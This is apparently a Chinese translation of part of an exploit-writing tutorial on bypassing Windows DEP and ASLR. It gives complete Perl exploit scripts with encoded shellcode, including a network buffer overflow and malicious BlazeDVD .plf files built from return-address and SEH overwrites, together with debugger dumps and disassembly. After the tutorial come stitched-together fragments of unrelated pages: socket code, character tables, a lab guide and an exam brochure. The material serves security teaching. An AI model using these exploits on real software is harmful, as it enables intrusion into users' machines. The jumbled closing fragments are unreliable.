"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e". "\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36". "\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47". "\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48". "\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56". "\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58". "\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38". "\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56". "\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53". "\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35". "\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58". "\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36". "\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38". "\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46". "\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59". "\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54". "\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57". "\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35". "\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38". "\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59". "\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49". "\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32". "\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a". "\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e". "\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56".

76 "\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a". "\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30". "\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f". "\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30". "\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f". "\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a". "\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50". "\x41\x41"; my $nops2 = "\x90" x 480; my $jumpback = "\xe9\x54\xf9\xff\xff"; #jump back 1708 bytes # initialize host and port my $host = shift 'localhost'; my $port = shift 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(socket, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(socket, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; my $payload = $junk.$disabledep.$nops1.$shellcode.$nops2.$jumpback."\n"; print SOCKET $payload."\n"; print "[+] Payload sent, ".length($payload)." bytes\n"; close SOCKET or die "close: $!"; system('telnet '.$host.' 5555'); ( 译注 : 显然这个 exploit 不会成功, 因为它还是忘记了放置填充字节 ) 利用 SEH 绕过 DEP 在上边的两个例子中, 两个 exploit(dep 绕过技术 ) 都是直接覆盖返回地址, 但是如果覆盖 SEH 会怎么样呢? 在基于 SEH 的 exploit 中, 是利用指向 pop/ pop/ ret 指令的指针重定向执行流到 nseh 域中的地址上, 这里放置了跳转代码 ( 随后被执行 ), 当 DEP 启用后, 显然依然要覆盖 seh 结构, 但是不能再用 pop /pop /ret 的地址, 而应该用 pop reg/pop reg/pop esp/ret 指令的地址, 指令 pop esp 可以改变堆栈指针,ret 将执行流转移到 nseh 中的地址上 ( 现在不再用跳转指令, 而是用关闭 NX 例程的地址覆盖 nseh, 用指向 pop/pop/pop esp/ret 指令的指针覆盖异常处理器, 像这样的指令组合很难找到,pvefindaddr 可以帮助你找到拥有这种指令的地址 )

77 ASLR 保护 Windows Vista, 2008 server, and Windows 7 也构建了另一种保护技术, 它使进程中的执行模块,dll, 栈, 和堆的加载地址随机化 ( 事实上, 系统从 256 个基地址中随机的选出一个来用于加载系统映像, 并随机化每个线程的堆基址和栈基址 ) 这个技术就是 ASLR( 地址空间布局随机化 ) 这些地址在每次系统启动的时候会改变,ASLR 是被默认启用的 ( 除了 IE7), 非系统镜像也可以通过链接选项 /DYNAMICBASE(Visual Studio 2005 SP1 以上的版本,VS2008 都支持 ) 启用这种保护 也可以手动更改已编译库的 dynamicbase 位, 使其支持 ASLR 技术 ( 把 PE 头中的 DllCharacteristics 设置成 0x40 - 可以使用工具 PE EXPLORER 打开库, 查看 DllCharacteristics 是否包含 0x40 就可以知道是否支持 ASLR 技术 ) 有个注册表项可以为映像 / 应用程序启用 ASLR: 编辑 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ 并添加键 MoveImages (DWORD) 可用的值 : 0: 禁止随机化映像基地址, 总是使用 PE 头中指定的基地址 -1: 不管是否有 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标志, 都随机化所有可重定位的映像 另外一个值 : 仅随机化有重定位信息的并且 PE 头中 DllCharacteristics 包含 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标志的模块, 这是系统默认的行为 为了得到好的效果,ASLR 应该和 DEP 一起使用 ( 反之亦然 ) 因为 ASLR, 即使你在 Vista 上使用 DLL 中的地址构造了 exploit, 但这个 exploit 只在系统重启前有效, 因为重启后, 由于随机技术的应用, 你的跳转地址将不再有效 已经出现了一些绕过 ASLR 的技术, 在这里我将讨论两种技术 --- 部分覆盖和使用没有启用 ASLR 模块中的地址, 我不打算讨论其他的技术, 如 : 利用堆, 猜测随机地址, 暴力破解等等 绕过 ASLR: 部分覆盖返回地址 这种技术在 2007 年 3 月的著名的动画光标漏洞 (MS Advisory ) 利用中得到了使用. 这个漏洞是 Alex Sotirov 发现 下面的链接解释了这个漏洞如何被发现和攻击 : ani-notes.pdf 和 Metasploit- Exploiting the ANI vulnerability on Vista 这个漏洞的 exploit 第一次在 Vista 上绕过了 ASLR 保护 ( 突破了 ASLR 保护机制, 也绕过 /GS - 事实上, 由于 ANI 头是被读到一个结构里面, 所以栈上并没有 cookie:-)). 这项技术背后的想法是很妙的,ASLR 只是随机了地址的一部分, 如果你重启后观察加载的模块基地址,

78 你会注意到只有地址的高字节随机, 当一个地址保存在内存中, 例如 :0x , 它像这样存储 : LOW HIGH 当启用了 ASLR 技术, 只有 43 和 21 是随机 在某些情况下, 这可能使黑客利用 / 触发执行任意代码 想象一下, 当你攻击一个允许覆盖栈中返回地址的漏洞, 原来固定的返回地址被系统放在栈中, 而如果启用 ASLR, 被随机处理后的地址被放置在栈中, 比方说返回地址是 0x (0x1234 是被随机部分,5678 始终不变 ), 如果我们可以在 XXXX(1234 是随机的, 但嘿 - 操作系统已经把他们放在栈中了 ) 空间中找到有趣的代码 ( 例如 JMP ESP 或其他有用的指令 ) 我们只需要在低字节所表示的地址范围内找到有趣的指令并用这些指令的地址替换掉栈中的低字节 让我们看下下面的例子 : 在调试器中打开 notepad.exe(vista Business, SP2, English) 并查看加载模块的基地址 重启并执行相同的操作 : 地址的两个高字节被随机化, 所以当你需要使用这些模块的地址时, 无论如何也不能直接使用这些地址, 因为它会在重启后改变 再次对程序执行同样的操作 :

79 重启后 : 如你所见, 我们应用程序的基地址也是变化的 ( 因为它是使用 VC 编译的, 并且链接选项 /dynamicbase 采用了默认设置 ) ImmDbg 的命令!ASLRdynamicbase 可以显示受 ASLR 保护的模块 :

80 在 Vista( 不开启 HW DEP/NX) 上不启用 GS 编译这个应用程序, 我们早就知道, 向这个程序发送 508 字节的数据后, 我们就可以覆盖返回地址了, 使用调试器在 pr() 函数上设置断点, 在覆盖返回地址之前, 我们先找出类似 0x011e1293 的返回地址 (0x011e 是随机的, 但 1293 在系统重启后也是一样的 ) 使用下边的 exploit 攻击 : use strict; use Socket; my $junk = "A" x 508; my $eipoverwrite = "BBBB"; # initialize host and port my $host = shift 'localhost'; my $port = shift 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n";

81 # create the socket, connect to the port socket(socket, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(socket, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk.$eipoverwrite."\n"; print "[+] Payload sent\n"; close SOCKET or die "close: $!"; 从寄存器和堆栈的状态可以看出应该是返回地址被溢出后的状态 : (f90.928): Access violation - code c (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0018e23a ebx= ecx=0018e032 edx=0018e200 esi= edi=011e3388 eip= esp=0018e030 ebp= iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl= ????? 0:000> d ecx 0018e AAAAAAAAAA 0018e AAAAAAAAAAAAAAAA 0018e AAAAAAAAAAAAAAAA 0018e AAAAAAAAAAAAAAAA 0018e AAAAAAAAAAAAAAAA 0018e AAAAAAAAAAAAAAAA 0018e AAAAAAAAAAAAAAAA 0018e0a AAAAAAAAAAAAAAAA 0:000> d edx 0018e AAAAAAAAAAAAAAAA 0018e AAAAAAAAAAAAAAAA 0018e AAAAAAAAAAAAAAAA 0018e a AAAABBBB e e e e :000> d esp 0018e030 0a AAAAAAAA 0018e AAAAAAAAAAAAAAAA 0018e AAAAAAAAAAAAAAAA 0018e AAAAAAAAAAAAAAAA 0018e AAAAAAAAAAAAAAAA 0018e AAAAAAAAAAAAAAAA

82 0018e AAAAAAAAAAAAAAAA 0018e0a AAAAAAAAAAAAAAAA 正常情况下, 当我们到了这里, 我们可能会去找一个跳转到 edx 的指令, 并且用 jmp edx 或者 push ebp/ret 等指令的地址覆盖返回地址 ( 然后用某个向后的跳转指令跳到 shellcode) 但如我们所知, 由于 ASLR, 我们不能直接覆盖返回地址了 我们现在唯一能做的就是在 0x011exxxx( 被溢出之前的返回地址 ) 地址范围内试着找到一个 jmp edx 或 push ebp/ret 指令, 然后只要覆盖保存在栈中的返回地址的低字, 在这个例子中没有这样的指令存在 这里还有另外一个问题, 即使有这样的指令存在, 你也会注意到覆盖返回地址的低字也不行, 因为会自动添加一个字符串结束符, 这样会把高字的一个字节也覆盖了... 所以要想 exploit 成功, 必须在 0x011e00xx 地址范围内找到类似 jmp edx 的指令, 这样就把我们的可选空间限制在从 0x011e0000 开始到 0x011e00ff 的这 255 字节的地址空间中 :( 译注 : 下边的地址空间给错了 ) 011E1000 /$ 55 PUSH EBP 011E BEC MOV EBP,ESP 011E EC SUB ESP, E1009. A0 1421CD00 MOV AL,BYTE PTR DS:[CD2114] 011E100E FEFFFF MOV BYTE PTR SS:[EBP-1F8],AL 011E F PUSH 1F3 ; /n = 1F3 (499.) 011E A 00 PUSH 0 ; c = E101B. 8D8D 09FEFFFF LEA ECX,DWORD PTR SS:[EBP-1F7] ; 011E PUSH ECX ; s 011E1022. E8 C30A0000 CALL <JMP.&MSVCR90.memset> ; \memset 011E C4 0C ADD ESP,0C 011E102A. 8B55 08 MOV EDX,DWORD PTR SS:[EBP+8] 011E102D FEFFFF MOV DWORD PTR SS:[EBP-1FC],EDX 011E D85 08FEFFFF LEA EAX,DWORD PTR SS:[EBP-1F8] 011E FEFFFF MOV DWORD PTR SS:[EBP-200],EAX 011E103F. 8B8D 00FEFFFF MOV ECX,DWORD PTR SS:[EBP-200] 011E D FCFDFFFF MOV DWORD PTR SS:[EBP-204],ECX 011E104B > 8B95 04FEFFFF /MOV EDX,DWORD PTR SS:[EBP-1FC] 011E A02 MOV AL,BYTE PTR DS:[EDX] 011E FBFDFFFF MOV BYTE PTR SS:[EBP-205],AL 011E B8D 00FEFFFF MOV ECX,DWORD PTR SS:[EBP-200] 011E105F. 8A95 FBFDFFFF MOV DL,BYTE PTR SS:[EBP-205] 011E MOV BYTE PTR DS:[ECX],DL 011E B85 04FEFFFF MOV EAX,DWORD PTR SS:[EBP-1FC] 011E106D. 83C0 01 ADD EAX,1 011E FEFFFF MOV DWORD PTR SS:[EBP-1FC],EAX 011E B8D 00FEFFFF MOV ECX,DWORD PTR SS:[EBP-200] 011E107C. 83C1 01 ADD ECX,1 011E107F. 898D 00FEFFFF MOV DWORD PTR SS:[EBP-200],ECX 011E BD FBFDFFFF > CMP BYTE PTR SS:[EBP-205],0 011E108C.^75 BD \JNZ SHORT vulnsrv.011e104b 011E108E. 8BE5 MOV ESP,EBP

83 011E D POP EBP 011E1091 \. C3 RETN 011E1092 CC INT3 011E1093 CC INT3 011E1094 CC INT3 011E1095 CC INT3 011E1096 CC INT3 011E1097 CC INT3 011E1098 CC INT3 011E1099 CC INT3 011E109A CC INT3 011E109B CC INT3 011E109C CC INT3 011E109D CC INT3 011E109E CC INT3 011E109F CC INT3 011E10A0 /$ 55 PUSH EBP 011E10A1. 8BEC MOV EBP,ESP 011E10A3. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 011E10A6. 50 PUSH EAX ; /<%s> 011E10A CD00 PUSH vulnsrv.011e2118 ; format = "Error %s" 011E10AC. FF15 A020CD00 CALL DWORD PTR DS:[<&MSVCR90.printf>] ; \printf 011E10B2. 83C4 08 ADD ESP,8 011E10B5. E8 FA CALL <JMP.&WSOCK32.#116> ; [WSACleanup 011E10BA. 5D POP EBP 011E10BB \. C3 RETN 011E10BC CC INT3 011E10BD CC INT3 011E10BE CC INT3 011E10BF CC INT3 011E10C0 /$ 55 PUSH EBP 011E10C1. 8BEC MOV EBP,ESP 011E10C3. B8 141D0000 MOV EAX,1D14 011E10C8. E8 230A0000 CALL vulnsrv.011e1af0 011E10CD. A0 1521CD00 MOV AL,BYTE PTR DS:[CD2115] 011E10D F0E2FFFF MOV BYTE PTR SS:[EBP-1D10],AL 011E10D PUSH 1387 ; /n = 1387 (4999.) 011E10DD. 6A 00 PUSH 0 ; c = E10DF. 8D8D F1E2FFFF LEA ECX,DWORD PTR SS:[EBP-1D0F] ; 011E10E5. 51 PUSH ECX ; s 011E10E6. E8 FF CALL <JMP.&MSVCR90.memset> ; \memset 011E10EB. 83C4 0C ADD ESP,0C 011E10EE. 8A CD00 MOV DL,BYTE PTR DS:[CD2116] 011E10F F6FFFF MOV BYTE PTR SS:[EBP-988],DL

84 011E10FA. 68 CF PUSH 7CF ; /n = 7CF (1999.) 011E10FF. 6A 00 PUSH 0 ; c = 00 绕过 ASLR: 利用没启用 ASLR 模块中的地址 另外一个技术就是利用没使用随机基址的模块中的地址, 这个方法和绕过 SafeSEH 中的一个方法类似 : 利用没有启用 SafeSEH 模块中的地址来 ( 在这里换成了 ASLR) 绕过 我知道一些人认为这不是真正意义上的 绕过.. 但是呵 -- 它的确工作的很好 在一定情况下 ( 事实上在大多情况下 ), 执行映像 ( 或一些加载模块 ) 没有启用 ASLR 保护, 这意味着你完全可以使用 EXE 或 DLL 中的跳转地址来跳到 shellcode 因为这些地址极可能不是随机的, 在 EXE 模块的地址中一般包含一个 NULL 字节, 这意味着即使你找到了一个能跳到 shellcode 的跳转指令的地址, 你仍然需要解决 NULL 字节带来的问题, 这是否是个难题取决于溢出发生时的堆栈布局和寄存器的状态 让我们看下 2009 年 8 月的一个漏洞 这个 POC 展示是 BlazeDVD 5.1 Professional 中的一个缓冲区溢出漏洞 当打开恶意的 plf 文件就会触发这个漏洞, 这个漏洞可以利用覆盖 SEH 的方式进行攻击 你可以在这里下载 : BlazeDVD 5.1 Professional( 登录后才能下载 ) 现在我们看下我们能否在 Vista 上为这个漏洞开发出稳定的 exploit 首先我们先确定下覆盖多远才能覆盖到 SEH 结构, 通过一些简单测试, 我们发现在 608 字节后我们可以覆盖到 SEH 结构 : my $sploitfile="blazesploit.plf"; print "[+] Preparing payload\n"; my $junk = "A" x 608; $junk = $junk."bbbbcccc"; $payload =$junk; print "[+] Writing exploit file $sploitfile\n"; open ($FILE,">$sploitfile"); print $FILE $payload; close($file); print "[+] ".length($payload)." bytes written to file\n";

85 看起来我们有两种方法来攻击这个漏洞 : 直接覆盖返回地址 (EIP= ) 或覆盖 SEH( SEH chain : SE Handler = (next SEH = )) Esp 指向我们的缓冲区 我们用!ASLRdynamicbase 命令来看下 ASLR 的启用情况, 见下图 :

86 哇噢, 看起来有很多模块没有启用 ASLR 保护, 这意味着我们可以使用这些模块中的跳转指令来实现跳转, 不幸的是, 脚本 ASLRdynamicbase 的输出结果并不可靠, 记录下没启用 ASLR 模块的基址, 然后重启系统, 再运行这个脚本, 并跟上次的记录做比较, 这可以给我们一个更准确的结果, 在这种情况下, 从 23 个减少到 7 个 ( 这样依然不坏, 不是吗?) BlazeDVD.exe ( ), skinscrollbar.dll ( ), configuration.dll ( ), epg.dll ( ), mediaplayerctrl.dll ( ), netreg.dll ( ), versioninfo.dll ( ) 绕过 ASLR( 直接覆盖返回地址 ) 用这种方式, 我们可以在 260 字节后覆盖到 EIP, 然后一个 jmp esp(call esp 或 push esp/ret) 就可以搞定它 可用的跳转地址 :

87 * blazedvd.exe : 79 addresses (but null bytes!) * skinscrollbar.dll : 0 addresses * configuration.dll : 2 addresses, no null bytes * epg.dll : 20 addresses, no null bytes * mediaplayerctrl.dll : 15 addresses, 8 with null bytes * netreg.dll : 3 addresses, no null bytes * versioninfo.dll : 0 addresses 在 260 个字符后, 返回地址被覆盖, 下边是一个比较稳定的 exploit: my $sploitfile="blazesploit.plf"; print "[+] Preparing payload\n"; my $junk = "A" x 260; my $ret = pack('v',0x6033b533); #jmp esp from configuration.dll my $nops = "\x90" x 30; # windows/exec bytes # # Encoder: x86/alpha_upper # EXITFUNC=seh, CMD=calc my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43". "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58". "\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42". "\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30". "\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58". "\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c". "\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b". "\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b". "\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31". "\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57". "\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44". "\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b". "\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c". "\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b". "\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44". "\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36". "\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c". "\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38". "\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58". "\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e". "\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51". "\x42\x4c\x43\x53\x43\x30\x41\x41"; $payload =$junk.$ret.$nops.$shellcode; print "[+] Writing exploit file $sploitfile\n"; open ($FILE,">$sploitfile"); print $FILE $payload;

88 close($file); print "[+] ".length($payload)." bytes written to file\n"; 重启系统, 再触发它 它仍然会工作的很好

89 绕过 ASLR : 基于 SEH 的 exploit 下边介绍基于 SEH 的 exploit, 基本的技术是相同的, 找到不受 ASLR 保护的模块, 再找到你所需要的跳板地址, 我们假设 exploit 也需要绕过 SafeSEH 没有开启 safeseh 保护的模块 (!pvefindaddr nosafeseh): Safeseh 和 ASLR 都没启用的模块 : 如果我们可以在这些模块中找到一个可用的地址, 我们还要去再试一次, 因为输出并不完全可信, 为了确认, 你需要重启系统并比较两次的输出,safeseh 和 ASLR 都没启用的模块有 : * skinscrollbar.dll ( ) * configuration.dll ( )

90 * epg.dll ( ) * mediaplayerctrl.dll ( ) * netreg.dll ( ) * versioninfo.dll ( ) 从这些模块中找到一组 pop/pop/ret( 或者一个 jmp/call dword[reg+nn] 也可以 ) 可以工作的 exploit:(seh 在 608 字节后被覆盖, 我们使用 skinscrollbar.dll 中的跳板指令 (pop /pop/ret)) my $sploitfile="blazesploit.plf"; print "[+] Preparing payload\n"; my $junk = "A" x 608; my $nseh = "\xeb\x18\x90\x90"; my $seh = pack('v',0x100101e7); #p esi/p ecx/ret from skinscrollbar.dll my $nop = "\x90" x 30; # windows/exec bytes # # Encoder: x86/alpha_upper # EXITFUNC=seh, CMD=calc my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43". "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58". "\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42".

91 "\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30". "\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58". "\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c". "\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b". "\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b". "\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31". "\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57". "\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44". "\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b". "\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c". "\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b". "\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44". "\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36". "\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c". "\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38". "\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58". "\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e". "\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51". "\x42\x4c\x43\x53\x43\x30\x41\x41"; $payload =$junk.$nseh.$seh.$nop.$shellcode; print "[+] Writing exploit file $sploitfile\n"; open ($FILE,">$sploitfile"); print $FILE $payload; close($file); print "[+] ".length($payload)." bytes written to file\n";

92 ASLR and DEP 对 ANI 漏洞的利用证明了同时成功绕过 DEP 和 ASLR 的可能 这个漏洞代码由于处于异常处理器的保护之下, 在被攻击后并不会崩溃, 因此我们可以尝试打开大量的 ANI 文件, 通过这种暴力的方式, 我们总会在 ntdll.dll( 受 ASLR 保护 ) 中找到那段用于关闭 DEP 的代码 Questions? Comments? Feel free to post your questions, comments, feedback, etc at the forum :

WSADATA wsadata; int rval; char Message[5000]=""; char buf[2000]=""; u_short LocalPort; LocalPort = 200; //wsock32 initialized for usage sockversion =

WSADATA wsadata; int rval; char Message[5000]=; char buf[2000]=; u_short LocalPort; LocalPort = 200; //wsock32 initialized for usage sockversion = Exploit 编写系列教程第四篇 : 编写 Metasploit exploit 作者 :Peter Van Eeckhoutte 译者 :riusksk( 泉哥 :http://riusksk.blogbus.com) 在 exploit 编写系列教程第一篇中, 笔者已经讲述了两种对于常见漏洞的利用方式 : 栈溢出 ( 覆盖 EIP) 与利用 SHE 链表进行栈溢出 在列出的例子中, 笔者已经利用

More information

Visualize CMap

Visualize CMap 0001 0020 0002 0021 0003 0022 0004 0023 0005 0024 0006 0025 0007 0026 0008 0027 0009 0028 000A 0029 000B 002A 000C 002B 000D 002C 000E 002D 000F 002E 0010 002F 0011 0030 0012 0031 0013 0032 0014 0033 0015

More information

实验指导书

实验指导书 1 实验简介 从零开始学习软件漏洞挖掘系列教程第四篇 : 绕过 GS 机制 实验所属系列 : 系统安全 实验对象 : 本科 / 专科信息安全专业 相关课程及专业 : 计算机网络 实验时数 ( 学分 ):2 学时 实验类别 : 实践实验类 2 实验目的 通过该实验了解绕过 GS 机制的方法, 能够在开启程序 GS 编译的情况下成功利用 3 预备知识 1. 关于 GS 的一些基础知识针对缓冲区溢出覆盖函数返回地址这一特征,

More information

1 2 / 3 1 A (2-1) (2-2) A4 6 A4 7 A4 8 A4 9 A ( () 4 A4, A4 7 ) 1 (2-1) (2-2) ()

1 2 / 3 1 A (2-1) (2-2) A4 6 A4 7 A4 8 A4 9 A ( () 4 A4, A4 7 ) 1 (2-1) (2-2) () (39mm E-Mail ( )( ), : : 1 1 ( ) 2 2 ( ) 29mm) WSK ( 1 2 / 3 1 A4 2 1 3 (2-1) 2-1 4 (2-2) 2-2 5 A4 6 A4 7 A4 8 A4 9 A4 10 11 ( () 4 A4, 5 6 7 8 A4 7 ) 1 (2-1) (2-2) () 1 2 (2-1) 3 (2-2) 4 5 6 7 (8 ) 9

More information

4 / ( / / 5 / / ( / 6 ( / / 7 1 2 / 3 ( 4 ( 2003 8 ( 2

4 / ( / / 5 / / ( / 6 ( / / 7 1 2 / 3 ( 4 ( 2003 8 ( 2 : / ( 6 (2003 8 : ( 1 ( ( / / (,, ( ( - ( - (39mm 29mm 2 ( 1 2 3-6 3 6-24 6-48 12-24 8-12 WSK / WSK WSK 1 4 / ( / / 5 / / ( / 6 ( / / 7 1 2 / 3 ( 4 ( 2003 8 ( 2 9 5 ( 10 3 11 / (600 4 5 AA 710 AB 720 730

More information

標準 BIG 中文字型碼表 A 0 9 B C D E F 一 乙 丁 七 乃 九 了 二 人 儿 入 八 几 刀 刁 力 匕 十 卜 又 三 下 丈 上 丫 丸 凡 久 么 也 乞 于 亡 兀 刃 勺 千 叉 口 土 士 夕 大 女 子 孑 孓 寸 小 尢 尸 山 川 工 己 已 巳 巾 干 廾

標準 BIG 中文字型碼表 A 0 9 B C D E F 一 乙 丁 七 乃 九 了 二 人 儿 入 八 几 刀 刁 力 匕 十 卜 又 三 下 丈 上 丫 丸 凡 久 么 也 乞 于 亡 兀 刃 勺 千 叉 口 土 士 夕 大 女 子 孑 孓 寸 小 尢 尸 山 川 工 己 已 巳 巾 干 廾 標準 BIG 中文字型碼表 A 0 9 B C D E F B C D ± E F A 0 9 B C D E F 兙 兛 兞 兝 兡 兣 嗧 瓩 糎 0 B 9 Ⅰ Ⅱ Ⅲ Ⅳ Ⅴ Ⅵ Ⅶ C Ⅷ Ⅸ Ⅹ 〡 〢 〣 〤 〥 〦 〧 〨 〩 十 卄 卅 D B C D E F G H I J K L M N O P Q E R S T U V W X Y Z a b c d e f g F h i

More information

untitled

untitled 8086/8088 CIP /. 2004.8 ISBN 7-03-014239-X.... TP313 CIP 2004 086019 16 100717 http://www.sciencep.com * 2004 8 2004 8 1 5 500 787 1092 1/16 16 1/2 391 000 1 2 ii 1 2 CAI CAI 3 To the teacher To the student

More information

ROP_bamboofox.key

ROP_bamboofox.key ROP Return Oriented Programming Lays @ BambooFox Who Am I Lays / L4ys / 累死 - l4ys.tw Reverse Engineering BambooFox / HITCON Outline Buffer Overflow ret2libc / ret2text Return Oriented Programming Payload

More information

民 國 105 年 大 專 程 度 義 務 役 預 備 軍 官 預 備 士 官 考 選 簡 章 目 錄 壹 考 選 依 據 1 貳 考 ( 甄 ) 選 對 象 1 參 資 格 規 定 1 肆 員 額 及 專 長 類 別 2 伍 報 名 及 選 填 志 願 日 期 方 式 3 陸 選 填 官 科 (

